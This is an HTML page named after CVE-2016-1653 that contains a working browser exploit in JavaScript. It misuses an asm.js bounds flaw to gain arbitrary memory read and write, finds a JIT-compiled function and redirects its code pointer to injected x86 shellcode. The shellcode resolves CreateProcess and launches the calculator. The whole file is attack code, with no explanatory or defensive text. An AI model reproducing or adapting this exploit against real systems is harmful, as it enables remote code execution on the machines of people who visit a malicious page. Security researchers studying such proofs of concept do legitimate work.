CVE-2016-1653.html

<script>

var MAX_SC_SIZE = 0x10000;

var dontGC = [];

window.gc = function () {
    for (i = 0; i < 50; i++) {
        zz = new ArrayBuffer(0x100000);
        zz = null;
    }
};

function hex(a) {
  if (a == undefined) return "0xUNDEFINED";
  var ret = a.toString(16);
  if (ret.substr(0,2) != "0x") return "0x"+ret;
  else return ret;
}

function log(s) {
  console.log(s);
}

function fail() {
    setTimeout("document.location.reload();", 100);
}

makeWriteFunc = function (n, arrbuf) {
    var offset = Math.floor(n/4);
    return eval("(function(stdlib,xx,heap){\"use asm\";var Uint8ArrayView=new stdlib.Uint8Array(heap);var Uint32ArrayView=new stdlib.Uint32Array(heap);function f(i0,v){i0=Uint8ArrayView[-1];Uint32ArrayView[(i0>>31) & "+offset+"]=v;return \"0\" == -i0;}return f})(this,0,arrbuf);");
}
makeReadFunc = function (n, arrbuf) {
    var offset = Math.floor(n/4);
    return eval("(function(stdlib,xx,heap){\"use asm\";var Uint8ArrayView=new stdlib.Uint8Array(heap);var Uint32ArrayView=new stdlib.Uint32Array(heap);function f(i0,v){i0=Uint8ArrayView[-1];\"0\" == -i0;return Uint32ArrayView[(i0>>31) & "+offset+"];}return f})(this,0,arrbuf);");
}

function read(offset, arrbuffer) {
    // Make sure that we read a correct value
    var prev_value = -1;
    var readaddr = makeReadFunc(offset, arrbuffer);
    var ok = 0;
    while (true) {
        for (var i = 0; i < 400; ++i)
            value=readaddr(0, 0x1000);

        if (prev_value == value) {
            ok += 1;
            if (ok == 10 || (value != 0 && ok == 4))
                break;
        } else {
            ok = 0;
            prev_value = value;
        }
    }
    return value;
}

var arrbuffer = new ArrayBuffer(0x200);

function makeArrBuffer() {

   // alert("Make");

    // support functions
    function swap32(val) {
        return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) |
               ((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
    }
    function histogram(a) {
        var b = {};
        for (var i=0;i < a.length; i++) {
            if (b[a[i]] == undefined) b[a[i]] = 0;
            b[a[i]] += 1;
        }
        var d = [];
        for (c in b) { d.push([parseInt(c), b[c]]); }
        d.sort(function(a,b) { return b[1] - a[1]; });
        return d;
    }

    // guess my location using the free metadata
    var locs = [];
    var CHUNK_SIZE = 0x200;
    for (var i = CHUNK_SIZE; i < CHUNK_SIZE*100; i+= CHUNK_SIZE) {
        var a1 = swap32(read(i, arrbuffer));
        if (a1 != 0 && (a1&(CHUNK_SIZE-1)) == 0) {
        // assume it's a ptr to the next bucket
        locs.push((a1-i-CHUNK_SIZE));
        }
    }

    if (locs.length == 0) {
        fail();
        return 0;
    }

    var vote = histogram(locs)[0];
    var aaa_addr = vote[0] - CHUNK_SIZE;
    log("guessing "+aaa_addr.toString(16)+" with "+vote[1]+" votes");

    var adjaddr = function(a) {
        if (aaa_addr > a) { return (0x100000000 + (a-aaa_addr)); }
        else { return (a-aaa_addr); }
    };
    read32 = function(addr) {

        return read(adjaddr(addr), arrbuffer); 
    };
    read32_nonzero = function(addr) {
        while (!(ret = read(adjaddr(addr), arrbuffer))); 
        return ret;
    }
    write32 = function(addr, data) {
        if (adjaddr(addr) < 0)
            writef = makeWriteBackFunc(adjaddr(addr), arrbuffer); 
        else
            writef = makeWriteFunc(adjaddr(addr), arrbuffer); 
        for (var i=0; i<1000; i++)
            writef(0, data);
    };
    write32_nonzero = function(addr,data){
      write32(addr,data);
      while( data != read32_nonzero(addr))write32(addr,data);
 
    }

   return aaa_addr;
}



function main() {
  var code = "tmp = [];\
  runme = [0x41, 0x41, 0x41, 0x41];\
  var sc = new ArrayBuffer(MAX_SC_SIZE);\
  var tmp = new Uint8Array(sc);\
  for (var i = 0; i < runme.length; i++) {\
    tmp[i] = runme[i];\
  }";

  // exploitation starts now
  var addr = makeArrBuffer();

  jitted = new Function("a", code);
  findme_list = [];
  for(var i=0; i<0x400; i++){
    var t= new Array(0x1000/4);
    t[0]=0x12bb34>>1;
    t[1]=jitted;
    findme_list=findme_list.concat(t);
  }

  var jit_adr = 0;
  var tmp;
  root = 0x0d120000;
  root += 0x88;
  log("root :"+hex(root));
  for(var i=0; i<0x80; i++){
    log(hex(i));
    tmp = read32_nonzero(root+0x1000*i);
    log(hex(tmp));

    if(tmp == 0x12bb34 || tmp == 0x12ff34){
      for(var j=0; j<6; j++){
          log(hex(j)+" : "+hex(read32_nonzero(root+0x100*i+4*j)));
      }
      if(tmp == 0x12bb34)jit_adr=read32_nonzero(root+0x100*i+4);
      else jit_adr=read32_nonzero(root+0x100*i+0x10);
      log("DONE!!!!!!!!! : " +hex(jit_adr));
      break;
    }
  }


  var ptrJitted = jit_adr-1;
  var ptrJittedCode = read32_nonzero(ptrJitted+0x1C);
  log("function at "+hex(ptrJitted)+ " with code at "+hex(ptrJittedCode));
  var sc = [0x31,0xdb,0x64,0x8b,0x7b,0x30,0x8b,0x7f,0x0c,0x8b,0x7f,0x1c,0x8b,0x47,0x08,0x8b,0x77,0x20,0x8b,0x3f,0x80,0x7e,0x0c,0x33,0x75,0xf2,0x89,0xc7,0x03,0x78,0x3c,0x8b,0x57,0x78,0x01,0xc2,0x8b,0x7a,0x20,0x01,0xc7,0x89,0xdd,0x8b,0x34,0xaf,0x01,0xc6,0x45,0x81,0x3e,0x43,0x72,0x65,0x61,0x75,0xf2,0x81,0x7e,0x08,0x6f,0x63,0x65,0x73,0x75,0xe9,0x8b,0x7a,0x24,0x01,0xc7,0x66,0x8b,0x2c,0x6f,0x8b,0x7a,0x1c,0x01,0xc7,0x8b,0x7c,0xaf,0xfc,0x01,0xc7,0x89,0xd9,0xb1,0xff,0x53,0xe2,0xfd,0x68,0x63,0x61,0x6c,0x63,0x89,0xe2,0x52,0x52,0x53,0x53,0x53,0x53,0x53,0x53,0x52,0x53,0xff,0xd7];

  var sc2 = [];

  for(var i=0; i<(4-(sc.length%4));i++)sc.push(0x00);
  for(var i=0; i<sc.length/4; i++){
    var s=0;
    for(var j=3; j>=0; j--){
      s = s<<8;
      s+=sc[4*i+j];
    }
    if(s<0) s+=0x100000000;
    if(s==0)continue;
    sc2.push(s)
    log(hex(s));
  }

  
  //write32_nonzero(ptrJitted+0x1c,0x41414141);
  var t = 0x41414141;
  var ret = ptrJittedCode+0x1000-0x27b2cae0+0x27b2cdd0;
  var nadr = ptrJittedCode+0x41400-0x2bae0;
  
  log(hex(nadr));

  for(var j=0; j<0x10; j++){
    log(hex(j));
    for(var i=0; i<sc2.length; i++){

      write32_nonzero(nadr+4*i,sc2[i]);

    }
  }

  write32_nonzero(ptrJitted+0x1c,nadr);

  log("CALL JITTED");
  jitted();
  log("END");
}

main();

</script>